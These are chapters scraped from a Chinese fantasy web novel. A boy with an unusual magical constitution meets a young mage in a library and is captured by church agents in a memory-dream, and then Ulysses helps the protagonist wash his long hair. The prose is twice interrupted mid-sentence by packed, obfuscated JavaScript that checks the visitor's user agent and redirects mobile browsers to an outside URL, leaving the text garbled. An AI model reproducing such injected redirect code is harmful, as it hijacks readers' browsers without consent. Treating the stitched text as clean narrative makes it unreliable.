l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104286|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣物上,若有所思。 ……归还的日期大概要延后了,再去找那家铺子付一笔租赁费吧。 …… 在长达一个星期的蹲点过后,虽然那位法师还是没有踪影,但每天都来看书的叶隐终于吸引到了管理员的注意。 图书管理员是个年迈的老婆婆,气质优雅,腹有诗书,衣着样式朴素,但布料的种类前所未见,断然不容小觑。叶隐自第一次来,就始终能从她身上感觉到若有若无的视线,他索性投其所好,坚持不懈地扮演了一个星期的好学生——其实也算是本色出演——而今终于与对方牵上了线。 “想要学魔法的话,看‘外面’这些书是不够的。”她平静地说道。 叶隐这一个星期当然不是白过的,他一手词典一手书,几乎把放在公共区域的、魔法相关的书籍都读完了,并且在休息时间里冥想了许多次,尝试释放了不少危险性低的法术。这固然有他练习的需要,但更多还是为了吸引管理员的注意,好在功夫不负有心人。 叶隐试探着问道:“那,我要付出什么代价,才能看到‘里面’的书?” “现在就可以。”她说着,从巨大且密密麻麻的钥匙串中取下一把,放在柜台上,“但,只有今天,因为‘他’在。” 叶隐精神一振,明知故问道:“‘他’是……?” 老人没有回答,只是将钥匙往前推了推,道:“去吧,他想见见你。” 叶隐的心跳逐渐加速,如果他没理解错,他要找的人早就已经注意到他了?而且正在图书馆里等他! 尽管现实和他的设想有所出入,因为对方主动要见他,或许意味着对方对他亦有所求,这令叶隐感到困惑,但至少他的目标超额完成了——要接近一位法师,没有比对方主动邀请更好的渠道了,这是个绝好的机会! 激动归激动,对于即将推开新世界的大门这件事,叶隐心里多少还是有些不安。他很想给希冯留条信息,却又担心那位法师若真要对自己不利,那留下的信息反而会成为引诱希冯踏入陷阱的诱饵……思来想去,似乎除了相信以外别无他法。 “……我明白了。” 叶隐郑重地拿起钥匙,没有多言,朝着深处那个他早就知道位置、却始终不得寸进的入口行去。 …… 密室的空间比叶隐想象中还要大,而且有一部分位于地下,实际占地难以估量。叶隐没能看到密室的全貌,因为他进门不久,就看到了那个正立在书架下翻书的背影,对方身后不远处还有一扇倾斜向下的门,将叶隐探究的视线挡得严严实实。 叶隐一边接近,一边抓住每一秒时间仔细打量对方。书架下站着的人并不算高,只比年仅十五岁且常年营养不良的叶隐高十公分左右,若非天生长得矮,就只能是还在长身体的年纪,而他身上披着的那件连帽斗篷,将他浑身上下每一个角落都笼罩在阴影中,看不清更多细节。 那件斗篷颜色暗沉,面料却带着反光,还缝有精致繁复的暗纹,以月相、星座图案为主,竹叶、花鸟图案为辅;斗篷下缘刚好及地,却几乎没有多余的剪裁痕迹,也许是负责缝制的人手艺高超,也许是经常更换,以至于无需考虑生长带来的尺寸偏差……总之,无一不是它的主人非富即贵、情调高雅、且学富五车的象征。 即使是高贵的魔法师,也不是个个能享受这般待遇,这位驻扎此地的年轻法师,到底是什么来头? “……” 似乎是特意给叶隐预留了准备时间,在叶隐看了个够后,法师终于放下手中的书,转过身来。兜帽宽大的边沿遮住他的上半张脸,看不到眼神的指向,下半张脸则戴着面罩,每一缕发丝都收拢在脑后,裹得可谓密不透风,到了让叶隐诧异的地步。 法师略显稚嫩的嗓音透过面罩闷闷传出:“如你所见,我是这座城市的魔法顾问,或者说驻地法师,你可以称我狄伦。” “好的,狄伦…大人。”叶隐点头,“我是希恩,一名魔法学徒。那个……” 他的疑问堆积如山,一时竟不知从何处讲起,反倒是法师先行开口道:“知道我为什么叫你来吗?” 叶隐略微迟疑,“……因为我有魔法天赋?” “不错。”法师利落地一口应下。 他走到叶隐近前,绕着后者转了一圈,饶有兴趣道:“你的…‘天赋’……很特别,不能以常理论之,教会的探子追着你不放,想来也是因为这个。” 心中纠结的秘密直接被对方一语捅破,叶隐哑口无言,索性坦白道:“我和弟弟从另一座城市逃来此处,就是因为不堪忍受那些人的骚扰,若大人能庇护我们,我甘为大人效犬马之劳。” 法师摇头道:“我很乐意在潜力股身上做投资,不过,不是以把你绑在我这里为代价。你很有潜力,但不一定是我需要的那种人才。” 叶隐闻言,心中警惕心反而更重,谨慎问道:“那、我需要付出的代价究竟是……” “我对你的体质很感兴趣,这对我的课题也许会很有帮助。”法师开门见山道,他的每一句话都非常直白,“我会给你和你弟弟提供贵族的待遇,不会再有任何人能打你们的主意。放心,你们不会有生命危险,只是需要牺牲一点人身自由,来尽可能地配合我做实验而已,你甚至可以在此期间随意使用我的资源,以提升你自己的魔法造诣,这可是无数人求而不得的待遇,很划算吧?” “……” 法师的话语略微有些骇人听闻,毕竟,在平民眼中,“实验”这个词汇,大抵就是“死亡”的近义词,但叶隐没有第一时间拒绝,即使是这样的条件,对他而言依然很有诱惑力,他在脑中飞速权衡着利弊,心里的天平逐渐倾斜。 “在那之前,我想知道更多关于我体质的事。”他冷静地说道,“请尽可能地把您知道的情报都告诉我,有多少说多少。” 13. 血之记忆·残片①(下) 情况紧急,叶隐来不及客套,好在法师也是个不拘小节的人。 他“唔”了一声,右手从长袖中探出,捏了捏自己被面罩包裹的下巴,沉吟道:“我的确有一些想法,但以理论和猜想居多,在给你做完详细检查前,还不能就这么下定论。” 叶隐不明所以,“检查……都要做些什么?” 法师掰着手指数道:“需要你的血样、尿样、细胞切片、魔力结晶,最好能再做一□□能之类的基础测试,另外就是魔法测验,帝国有一套专门的流程和标准,供法师测试自己的等级,当然,需要一个专门的场地,如果要考证的话还需要专业的测试人员进行辅助……” “……?” 看到叶隐满脸迷茫的样子,法师轻声一笑,接着道:“听着多,其实只要半天就可以完成,对你也不会有什么伤害。场地这里就有,不必出城,而且,只有我们两个人,不需要多余的人参与,不会有第三个人知道你的检查结果。” “……知道了,我可以配合检查。”叶隐说道,“但我必须在得到检查结果后,再做最后的决定。” 法师爽快答应:“没问题。” ——不要答应啊!不能答应他!! 身为旁观者的叶隐此时简直百爪挠心,流浪儿希恩不懂所谓的“检查”,他一个大学生还不懂吗?虽然希恩的确很需要那份检查结果,可一旦结果出来,参与实验的决定权就不在他自己手上了!若真的发现了希恩是魔王的真相,这个法师怎么可能会放希恩离开? 然而这终究只是个梦境,甚至只是一片记忆,无论叶隐的意志多么强烈,都干涉不了既定的轨迹。他只有眼睁睁看着“自己”跟随着年轻的法师,一步步走向密室深处…… …… “……你的体质和普通人有很大区别,这一点是可以确定的。” 法师脱下了那身斗篷,但换上了一件同样能遮住上半张脸的连帽白大褂,此时他正拿着一张颇为昂贵的黄纸写写画画,边写边对旁边休息着的叶隐道:“不过,很可惜,你的异常体质的根源仍然无法确定,也许是这里的设备还不够先进,也许是我们的调查方向从一开始就错了。”他摩挲着下巴,喃喃道:“还有什么被我忽略的东西吗……?” 检查全程,叶隐都清醒着,法师应该没有机会做假或者隐瞒,加上对方话语中的受挫之意、一些无意识的肢体动作分外明显,应该不会是装的,也就是说,他的确没能搞清楚真相——希恩不禁有些失落,同时又悄悄松了口气。 他在法师面前总有些难以招架,尽管对方的年纪和他的差距不会太大,但对方在基本素养上的全面碾压让他压力很大。他理应会憧憬法师这样年轻有为的学者,可在对方对自己明显有所求、且完全有实力强迫他,而他却不知道对方所求何物的情况下,他实在难以自如应对。二者根本不在一个高度的台阶上,如何能够彼此平视? 手上既没有筹码,也不知道相处的方法,他对身处另一个世界的法师实在是束手无策,还不如与街头混混打交道来得轻松,如果可以,他还是想尽量避免与对方深入交往,好在,现在有了理由,他就可以堂而皇之地拒绝对方了。 “既然检查结果没有达到预期,我想,我还是不留下来,继续浪费大人您的时间了。”叶隐对法师说道,“至于检查结果本身,如果可以的话,希望您能毁掉,不要泄露给任何人,尤其是教会。” 法师面上似乎流露出一丝遗憾,但仍是用平静的口吻道:“当然,我会尊重你的意愿。” ……真的答应了?就这么放他走? 叶隐在惊讶中略感困惑,这个人做事是不是太过干脆利落了?虽然说考虑到这个世界的法师好像和原世界的科学家差距不大这一点,他倒是很能理解,不过还是禁不住有些疑神疑鬼。 法师移开眼神,自顾自地收拾起实验设备,头也不抬地道:“既然拒绝参与我的实验,图书馆的密室将不再对你开放……你要学魔法的话,我建议你去帝都,看在你的配合与天赋的份上,我可以给你写一封推荐信,让你免费去帝都的魔法学院就读,只要能学到顺利毕业的程度,奖学金就足够你和弟弟在帝都生活。” “……” 叶隐对这位法师的身份真是愈发好奇了,年纪轻轻就能给帝都的学院写推荐信,他该是个怎样的天才啊?和自己简直是云泥之别! 不过,一码归一码,这封推荐信固然很有诱惑力,却不是现在的叶隐最急切需要的东西。毕竟,此地远离帝国的统治核心,即使拿着推荐信的他在帝都能够高枕无忧,可在前往帝都的漫长之路上,却不知道会发生些什么。他是很缺钱没错,可钱不能解决所有问题,哪怕只是一介流浪汉的问题。 那些对他虎视眈眈的人不会轻易放弃,法师也决计不会为了他选择与教会为敌。当下最重要的事,依然是保护弟弟与自己的安全,并且,一定要在教会决定出手之前,挖掘出自己会被他们盯上的真相,唯有这样,才能在未知的暗流中抓住航行的方向,掌握主动权。 “我知道你在想什么。”法师忽然出声,把叶隐吓了一跳,“……放心,不是读心术,只是一些待人接物的经验罢了。” 说着,他拿起一张空白的纸条,在上面唰唰写了几个字,随即转过身来,将纸条递给叶隐。 叶隐接过,定睛一看,上面是一串数字,如果他没理解错的话,这应该是……坐标?他只在书上见过。 数字旁边还有一副简笔图像,寥寥几笔就勾勒出了一栋立于悬崖边缘、花海之中的小屋,看来这位法师的绘画功底也十分了得。 不过,这到底是……? 法师接道:“以我现在的能力,暂时无法解开你的力量之谜,而我都不行的话,帝都那些废物更是没有半分可能……” 有一瞬间,他语气中的讽刺多得都要满溢而出了,但很快就像错觉一样消失得无影无踪。他很快笑了笑,接着道:“总之,如果你迫切想要知道真相,可以试着去这个地方。那是一位极富盛名的大法师的家,如果说世上有人一定能给你答案,那个人就是他了。” 他顿了顿,颇有深意道:“那位法师早已退隐,知道他住址的人极少,我恰好是其中之一,这可是当今皇帝都没有的情报……好好珍惜。” ——真真是山穷水复疑无路,柳暗花明又一村。 叶隐紧抓着纸条,将上面的一笔一画都牢牢记入心中,随后直接在掌心升起一缕火焰,将纸条烧成了灰烬,珍而又重地对法师行了一礼,“不胜感激!” 法师微微摇头,似笑非笑道:“别急着谢我,实际上我也不能确定他是否还在那里,何况,即使他还在,也只有通过他考验的人才能真正接近那栋屋子,不然他的门槛早就被踏破了。即是说,能不能得到他的指点,还要看你自己的造化。” 叶隐不语,只是点了点头,这是他自己的事,他自会全力而为,多说无益。 “你走吧,我就不送了。”法师挥了挥手,“路上小心。” “……” “路上小心”四个字,直接拉满了叶隐的警惕心,他知道法师的一切行为都是有意义的,这话绝不只是客气而已,再说他跟自己一个流浪汉客气什么……说不定他已经得到了某些情报,所以才会不早也不晚,偏偏选在这个时机与自己接触! 叶隐瞥了法师一眼,看到对方面罩下的嘴角轻微上挑,便知道自己的猜想多半不错——这家伙就是故意的! 如果自己答应了与他合作,就等于接受了他的庇护,任凭教会有通天之能,也别想把一个人从一位法师的密室里捞出来,只是,自己选择了拒绝……表面上看没什么代价,可实际上,这早就在法师的意料之中,而他自己,早已被算得死死的了。 “别那样看我嘛,希恩先生。”法师面带微笑地摊了摊手,“至少我给你的坐标是真的哦?……努力去抓住吧,这根救命稻草。” 啧! 可惜,没有功夫再计较这些了……如果他能活下去,之后还有的是算账的机会,但现在,他和希冯必须立刻出发! 叶隐咽下怒意,匆匆归还了密室的钥匙,也顾不得是否有人暗中窥探着自己的行踪,回家简单收拾了一番,随即直奔希冯所在的工地而去,在工友们诧异的眼神中,拉着他就要出城。 希冯虽然惊讶,但没有反抗,只是急切问道:“发生什么了,哥?你在图书馆那查出什么……” 叶隐厉声打断道:“先出城!等会儿再细聊。” “……”难得被亲哥吼的希冯当即一缩脖子,神情迅速严肃起来,一言不发地跟上。 望着快步离开的两人,一脸莫名的工友们议论纷纷。人群中,有两个人对视一眼,其中一人悄然离开现场,前去报信。 …… 入夜时分,两兄弟在郊外的一片废墟中安顿下来,交流起彼此的情报。 自听哥哥谈及那位年轻法师的存在起,希冯始终眉头紧皱,而在叶隐说出自己对其态度的猜想之后,他终于忍不住冷笑一声:“我就知道没一个外人靠得住!衣冠禽兽!” 叶隐轻叹一口气,“我们一无所有,拿不出别人感兴趣的筹码,又放不下对自由的执念,不外乎总被别人当枪使。” 希冯还想再骂几句,但他看出了哥哥的落寞,便没有多说什么,转而问道:“坐标什么的我是不懂,但那家伙给的情报真的能信任吗?不会让我们羊入虎口吧?” 叶隐摇了摇头,从兜里掏出一张折叠整齐的地图,将其摊开,指了指上面的某一处,道:“坐标指向的地点是这里,误差在一公里左右。理论上来说,那里位于深山中,属于无人区,是魔物、帝国、帝国外势力都控制不了的三不管地带,即使是教会,也无法将触手伸到那种地方。” 希冯看不懂地图,但他有基本的生活常识,“那里一定很冷吧,怎么可能会有花海呢?” “谁知道呢,也许是魔法的作用吧。” 叶隐再度浏览一遍地图,随后小心将其收起,道:“不管那个法师有没有骗我,有一点是肯定的,那就是教会已经厌倦了温和的观察和试探,准备对我们进行下一步行动了。我们并没有什么选择的余地,既然无论如何都待不下去,还不如搏一搏。” 希冯笑了,“没关系,哥,我从来都是站在你这边的。” “……嗯。” 叶隐应着声,却不敢扭头与弟弟对视。希冯如此信任他,他却没能察觉到法师拖延时间的陷阱,不然的话,也许他们是会有其他选择的。希冯不计较,可他自己不能当做无事发生。 他是哥哥,他的决定不仅关乎自己,还关乎弟弟的命运,他必须更加谨慎、更加聪明、更加强大才行…… 避开了直视、自顾自反省着的叶隐,没有注意到希冯那仿佛比钉子还要牢固地钉在自己身上的眼神——当他回过神时,对方好似只是安静地垂着头,用树枝拨弄火堆里的烤番薯。 勉强吃了三分饱后,两人缩在干草堆里,彼此依偎着渐渐入睡。 缺乏真正斗争经验的二人都没有意识到,他们入睡的速度比平时要快上许多。 ——当他们清醒过来时,已然被捆缚住手脚,扔进了单独的房间中。 唤醒他们的是四肢的扭痛,沁入骨髓的寒意,陌生且令人头皮发麻的气味,以及…孤独。 栅栏之外,一袭黑衣的男人坐在桌后,身旁立着两个同样一身黑的人。见叶隐苏醒过来,男人打了个哈欠,悠哉悠哉道:“年轻人,只能在这般情形下与你见面,真是不好意思,我也不想的,但我们考察多时,发现你始终不愿接受任何形式的约束,便只能出此下策了。” 叶隐挣了挣身后的绳子,意识到以自己的力量不可能摆脱束缚,他也没可能在众目睽睽之下释放魔法,唯有暂时打消心思。 叶隐挣扎着坐起身来,男人悠然中带着戏谑的眼神让他极为不适,他倔强地瞪视着对方,冷冷道:“我弟弟在哪里?” 男人闻言,转过头去,朝旁边的人使了个眼色,对方领命出门而去。叶隐心生一股不详的预感,下意识屏住呼吸,但门外久久都没有传来什么动静,只有一阵一阵的、隐隐约约的脆响。 过了会儿,方才出去的那人回来了,随着他进屋,似有一股若有若无的血腥味飘来。他朝男人弯下腰来,微微摇头,神色好似有些无奈。 “嗯……好吧,看来你弟弟和你一样,也不是什么易于之辈。” 男人吁了口气,面上摆出的微笑迅速冷淡下去,对叶隐道:“你只要知道他还活着就行了,但如果你一直不配合的话,接下来会发生什么,可不好说,时间不等人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112417|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。” “……!” 叶隐咬紧牙关,强忍着愤怒道:“如果你们只是想要我替你们效力,大可以正大光明地找上门来,无论接受还是拒绝,我都会给你们一个答复,可你们从来没有那么做!你们想要的到底是什么?!” 男人大笑两声,“可爱的小弟弟,教会这样的庞然大物可不需要指定个别人为它效力,即使你能活死人、肉白骨,那又怎样?……教会真正需要的,从来只是抹除一切可能动摇它根基的不安定因素罢了。” 抹除……叶隐心里一跳,愈发对现状感到苦涩和无力,“动摇教会的根基?我怎么可能做得到那种事!” 男人上下打量了番叶隐,道:“老实说,我也不觉得你能做到,所以说只是‘可能’的‘因素’而已……不然的话,也轮不到我这种人坐在你面前,你说是吧?” “我一无所知。”叶隐摇头,“我三岁开始流浪,半辈子都没读过什么书,在刚刚觉醒魔法天赋的时候,我甚至都不知道世上有魔法这种东西,现在大抵也是如此,我根本不懂你们究竟在意我身上的什么。你要是打算审问我们,恐怕是找错人了。” 闻言,男人站起身来,双手插兜,拉开栅栏门慢慢靠近叶隐,蹲在他跟前,盯着他的眼睛沉吟道:“你的话,可信度很高,也的确符合我们的观察结果……” 叶隐仿佛看到了一丝希望,“那——” “但是,很遗憾,结果并不由你自己说了算。” 男人说着,重新起身,俯视着叶隐冷笑,口中吐出的语句让后者如坠冰窟:“一个硬骨头,一个装傻充愣的硬骨头……呵呵,倒是省了我审讯的功夫。”他伸了个懒腰,“呼,总之,既然审不出来,就直接进行下一步吧。” 叶隐的神情和语气都僵住了,喃喃道:“下一步……什么?” 男人只是走出栅栏,并直直走向屋外,既没有解释要对叶隐做什么,也没有说明是什么时候。剩余两人中,其中一人与他同行出门,随后立在了门外,另一个人则守在屋内门口,防线可谓密不透风。 叶隐浑身僵硬,额角冒汗。连审讯的步骤都跳过,那比审讯还要更严重的处置手段是什么?如果单纯要杀了他们兄弟,又何须把他们迷晕、活捉回来?莫非只是为了证明他们是本人?可本来也不会有人愿意牺牲性命冒充他们。 这帮人到底想做什么……可恶! 入睡时吸入的迷药似乎还有残留,叶隐咬了咬舌尖,用疼痛刺激自己努力振作精神。他自己怎样都好,可要是他死了,希冯又该怎么办呢?这些人绝无可能对希冯网开一面,能救出他的人只有叶隐自己而已。 他必须活下去、逃出去,救出希冯,而且得尽快!如果他没猜错,刚才那个人出门去,大概就是为了……总之,不能拖得太久,不然希冯会有生命危险,加上那个随时会回来的男人…… 思考得越多,叶隐越感到脑袋发涨、昏昏沉沉,他身体本来就弱,既没睡好,肚子也饿得很,完全没法集中精力思索计划。 这样下去不行…… 叶隐试着直接将体内魔力转化为糖分,却在动用魔力的瞬间被一股极强的痛楚击中,震惊和恐惧让他险些直接失去意识。他强忍着疼痛,不让门口的守卫察觉到异常,迅速检查起自己的身体:他的魔力是正常的,身体也只有生理意义上的不适而已,那么罪魁祸首是—— 叶隐终于察觉到,自己的脖颈上不知何时被戴了一只项圈,他只能凭触觉感知它的轮廓,但通过魔力的流转,他能感觉到项圈上刻印着特别的术式——这是一个专门用来妨碍他施法的魔法道具! 项圈的力量对他这个级别的法师来说已经足够强了,但只要克制住施法时的疼痛,似乎也不是不能强行施法…… 叶隐静静思索着,忽然间,他如同发了狠般使劲以头抢地,发出“砰”的巨响!囚室的石头地板上当即溅起血花,他的身体旋即歪倒下去,一动不动。 “!” 门口的守卫吓了一大跳,还以为叶隐要自杀,他愣了两秒,赶紧拿出钥匙打开锁,快步走了进来,试探性地推了推叶隐的肩膀,叫道:“喂……喂!醒醒!” 见叶隐满脸是血,似乎陷入了昏迷,守卫傻住了,这人什么时候死都可以,唯独不能在屋里只有他的时候死啊!这他妈该怎么和大人交代?! 他暴躁地骂了两句,回头锤开囚室的大门,对着屋外的同伴没好气道:“他要自杀!你看我们要不要给他包扎一下——” 话音未落,地上的叶隐已经抬起头来。趁着屋内守卫的身影将另一人的视线完全挡住,一根魔力凝聚成的长绳骤然捆住两个守卫的腰,将他们一把拉进囚室中。 “啪”的一声,大门被一阵风吹得紧闭,跌倒在地的二人终于意识到自己受到了袭击,但还没来得及起身反击,甚至没来得及发出警报,便先后被来自心脏的莫名剧痛击倒,躺在地上再起不能。 “嗬……啊……” 他们挥舞着手臂挣扎,四肢却渐渐变得无力,眼睁睁看着彼此的面色愈发铁青,却连半个字都吐不出来。直到最后一丝力量被抽走,两个人都双目圆睁的仰躺在地,满眼血丝、满脸不甘,手中的武器没有发挥丝毫作用。 “……” 叶隐挣开身上被烧了半截的绳子,站起身来,抹掉脸上的鲜血,平静地俯视着这两具他亲手制成的尸体,眼中有一瞬间闪过不忍。 他越过尸体,将大门拉开一条缝隙,小心地观察外头的情况——外面是一条没有窗户的走廊,只有些微烛光闪烁。 走廊上似乎没有别人,但更远处就不好说了,至少以他刚才听到的脆响来说,关押希冯的房间距离应该不会太远,而那边毫无疑问也有着守卫。 只能走一步看一步了……! 叶隐打定主意,鼓起勇气溜出囚室,准备向着先前声音传来的方向而去—— 看着不知何时立在走廊尽头的、单手插兜的黑衣男人,他愣住了。 顺着男人平举的左手,他低头看向自己的身体——剧痛在他意识到那个拳头大的血洞的存在时,才堪堪传入脑中。 他看到男人的嘴一开一合,但他听不见对方在说什么。 视野一阵天旋地转,叶隐的意识逐渐隐没入黑暗之中,独留愤怒与悔恨在心中回荡。 14. 留长发一日目 “呃啊!” 叶隐猛地睁开双眼,大汗淋漓,惊魂未定。 他下意识摸了摸肋下,那里并没有一个大洞,但梦中的情形还历历在目,希恩曾经感受到的疼痛仿佛分毫不差地投射到了他的脑中,直到他确认真正受伤的并不是自己,大脑才开始压制那段痛苦的记忆。 他抬起沉重的手背遮住半张脸,轻轻喘气,慢慢稳住心神,意识逐渐从梦境的残余中摆脱出来。 “喂,系统!”他恼怒地在心中叫道,“那绝对不是普通的梦啊!是不是你在搞鬼?!” 系统不说话,只默默把昨夜那句被半梦半醒的叶隐忽略掉的提示呈到他眼前: 【叮~觉醒度达到20,解锁血之记忆·残片①,将在玩家睡眠时自动读取,取消读取请按0。】 叶隐一看,眼前一黑,咆哮道:“你敢不敢趁我醒着的时候征求我的意见?!” “……你在跟谁说话?” 床边冷不丁传来男人的声音,叶隐“噌”地一下坐起身来,惊恐地看着静静站在手边的尤利西斯,叫道:“你又是什么时候进来的啊!我有没有说过不许你随意进入我的房间?!” “我一直在。”尤利西斯说着,一顿,“因为…你昨晚一直在做噩梦。” “……” 叶隐把剩下的抱怨咽回了喉咙里,抿了抿嘴,“好吧,谢谢关心,我没事。” 见尤利西斯还在持续盯着自己,叶隐不得不补充道:“你可以出去了,我准备洗个澡。” 尤利西斯点了点头,叶隐以为他要出去了,却见他又回头道:“你会洗长发吗?” 叶隐:“?”你在说甚么? “头发。”尤利西斯指了指自己的马尾,“又长长了。” 叶隐沉默下去,伸手往背后一捞。 摸到一大团被汗水打湿的乱发的瞬间,他的整颗心都变得拔凉拔凉的——他昨天才剪短的头发啊,一个晚上又长到了肩膀!这个世界还遵不遵循质能守恒定律了?! 他吃进去那么多营养,结果全长毛囊里去了?他又没秃,能不能分点给肌肉啊?!他也想要尤利西斯同款的八块腹肌啊!! “我建议你适当留点长发,每天都理成短发太麻烦了,把长发砍…剪断更简单。”尤利西斯若无其事道,“而且,头发也是身体的一部分,对法师有特殊的作用,比如可以储存额外的魔力,对你不是全然没有好处。” 叶隐眉头一挑,惊奇道:“居然有好处,昨天怎么没听你说起这回事?” 头发对魔法师而言居然还有特殊的意义,叶隐完全没想到这种可能性,距离他的常识太远了。 不过,知道有这回事后再转回去看——怪不得他剪头发的时候特别难受,看到发丝簌簌而下,甚至有股失落感,那恐怕是他潜意识里在排斥剪发这种行为吧。 尤利西斯老实回道:“因为在我进门前,你已经把头发剪掉了,而且那时候我不确定你的头发一定会继续长长……当然,现在可以确定了。” “好吧,我想通了,留就留,不就是头发嘛。”叶隐说道,“既然决定了,那现在还有一个问题。” 尤利西斯歪了歪头。 “我没洗过长头发。”叶隐扔掉手里的头发,无奈地叹了口气,“你平时是怎么洗的?分享一下经验呗。” “不太好描述。”尤利西斯说,“我帮你洗一次,你感受一下,怎么样。” 叶隐想了想,“也不是不行,不过得等我洗完澡再说。” “那先把你的头发扎起来吧。” “……我也不会扎。” 但凡家里有个女人,他多少都得学两手扎头发的技艺,可惜,他爹、他自己、他弟,三个糙汉扎一堆,三辈子都没学过扎头发。 尤利西斯不再多言,从口袋里摸出一枚备用发圈,给叶隐湿漉漉的发丝在脑后捆了个团子,这样就不会碍着他洗澡了。 叶隐摸了摸脑后那个扎得稳稳当当的团子,笑道:“你还是有细腻的一面的嘛。” 虽然尤利西斯自称向来都是用剑劈发,但要把一头及腰的银色长发打理得不染尘埃,在叶隐看来已经是贵族级别的运动了,一般来说得有好几个仆人负责这种事吧?而尤利西斯孤身在这魔王城中,还能有余力维持自己的形象,也不知道是图啥,明明睡觉甚至不盖被子来着…… 尤利西斯没有回应叶隐的调笑,垂下眼,离开了卧室。 叶隐打了个哈欠,终于从床上挣扎起身,一边整理床铺,一边顺手放了个联络魔法,确认希冯还在原地没有移动,随后进入浴室洗漱。 洗澡的过程中,他一直在思考一件事。 梦里的主视角,也就是希恩,他的性格和思维都与叶隐自己极为相似,按照所谓“异世界同位体”的说法,龙人希冯和弟弟叶澜应当也是同位体,但希冯的性格和叶澜可就差得太多了……到底是他身为亲哥,对叶澜的滤镜太厚,还是说希冯的成长环境太差,以至于长歪了,或者…两者兼有? ……不,这还不是重点。 希恩比希冯大三岁左右,他在刚出生时,应该还是个有家的孩子,至少曾经是体会过爱的;而希冯则是从出生开始,就始终处于极不安稳的环境中,由此养出痞子样的性格也不奇怪。为了保护性子较软的哥哥希恩,他也只能那么做,否则兄弟俩只会被旁人吃干抹净。 假的事做多了,也就变成了真的,所以,现在再去计较希冯最初是什么性格,已经没有意义了。何况,现在的希冯已经不再是人类,若要指望通过唤醒他内心深处的人性,来劝说他加入自己和尤利西斯的计划,只会让他笑掉大牙吧。 叶隐思来想去,觉得要拉拢希冯,关键还是在于希恩。 要说天不怕地不怕的希冯还有什么在意的,也只能是与他相依为命的哥哥希恩了,而叶隐与希恩的长相本就别无二致,在读取了对方部分记忆的当下,甚至可以说除了经历以外都高度相似,算是一大优势。叶隐虽然不想被与希恩混为一谈,但只要希冯的潜意识里能将他与希恩关联到一块,那就是一个最大的突破口。 不过,记忆的梦境在关键时候中断了,这令叶隐有些懊恼,在希恩受伤后发生的事,绝对是两兄弟人生的一个重大转折点。结合尤利西斯与卡拉瓦多斯的情报,叶隐大概能猜到那时发生了什么,不过猜测和身临其境的体会终究是两码事。 要是他能多了解一些诸如此类的重大事件,就能更加了解这对兄弟,也就有更高的概率拉拢希冯了,可惜…… 好在,系统的提示中说到,他昨晚读取的记忆只是“残片①”,大概只要觉醒度达到下一个梯度,就能看到后续的记忆了,只是叶隐不可能等那么久,更不可能为了读记忆就狂刷觉醒度,那和找死没有什么区别。 凭现在的情报,有足够的胜算拿下与希冯的谈判吗? 叶隐不太确定,但他知道这事拖不得。 头发再度长长后,他一直感觉脑袋沉沉的,一边洗着澡,一边下意识又扶了扶脑后的团子。 话说回来,梦里的希恩,无论是哪个年龄段,都留着长发……好像比较常扎低马尾的发型。也许就是尤利西斯所说的那个、头发可以储存额外魔力的缘故?正好可以利用一下。 洗完澡,叶隐拿起浴巾裹好下半身,从里面敲了敲浴室门,喊道:“尤利西斯,在吗?我准备洗头了,你进来呗。” 一个人影很快出现在门外,他沉默地站定了会儿,声音隔着半透明的门板传来:“你不先穿上衣服吗?” “衣服会被弄湿啊,没关系,我裹了浴巾。” ——半真半假。 叶隐当然可以穿上衣服再洗头,不过没有那个必要。 其实比起把自己给尤利西斯看,他还是更想看尤利西斯的身体,老实说,他从见面的第一眼就开始馋了——不过,直接这么提绝对会被拒绝。俗话说,想要开门,就要先开窗,所以他才要先退一步,这样之后就可以用礼尚往来为理由……嘿嘿…… 叶隐擦了把嘴角,一把拉开浴室门,将迟疑的尤利西斯拽进来,不容分说地道:“行了,别磨叽,赶紧帮我洗!” “……” 一开门就被一片白花花的皮肉晃到了眼睛,即使是同性,尤利西斯依然下意识挪开了视线,他踏前一步,开始打水,眼神焦距自始至终都不在叶隐身上。他沉默着解开叶隐脑后的团子,示意对方探身到盆上方,将那头及肩的黑发垂进去,随后拿起毛巾将其着湿,动作意外的轻柔迟缓,似要将每一根发丝都浸软、浸透。 尤利西斯的手指并不光滑,带着常年练剑的厚茧,但那在眼下的情形中显得无关紧要。他指骨纤长,手掌宽大,两只手完全就是两个全自动的灵魂提取器,还有轻有重、有快有缓…哈啊…… 流水的暖意,以及头皮传来的按摩般的触感,让叶隐迅速沉浸其中,心神恍惚,仿佛灵魂出窍般飘飘欲仙,忍不住发出满足的轻哼。 他情不自禁地想到:自己上次被别人帮忙洗头,是什么时候来着……得是十五年前的事了吧? 尤利西斯目不斜视地凝视着手中的发丝,努力不去看身下之人那因为躬身而变得格外醒目的颈窝——虽然他的余光已经不自觉地跟着那白皙的背脊一路向下,甚至在意外触碰到对方皮肤的瞬间产生了某些微妙的通感,直到视野的尽头被浴巾这道天堑挡住……但他真的在专心洗头,真的! ……说起来,明明自见面以来的近十天里,每天都喂对方吃了不少东西,为什么他还是这么瘦?尤利西斯下意识蹙起眉头。 他上次将叶隐背回房间的时候,也的确感觉对方过于轻了……看来得再调整一下饮食的营养占比才行。 “别光洗,说点什么啊。”低着头的叶隐胸口受压,声音发闷,“要怎么才能搓出这么多泡泡?教教我。” “……”尤利西斯回过神来,制止住脑中不断浮现的联想,回道:“先把头发尽量打湿,里面也要浸泡到,然后……” 略显旖旎的时光转瞬即逝,尤利西斯最后还教了叶隐如何用魔力将空气加热得恰到好处,方便吹干头发。 “我还需要多练习几次,才敢真的上手,不然我一个紧张,头发可就没了!”叶隐腆着脸道,“所以说……今天你就帮我吹吹呗。” ——此乃谎言。 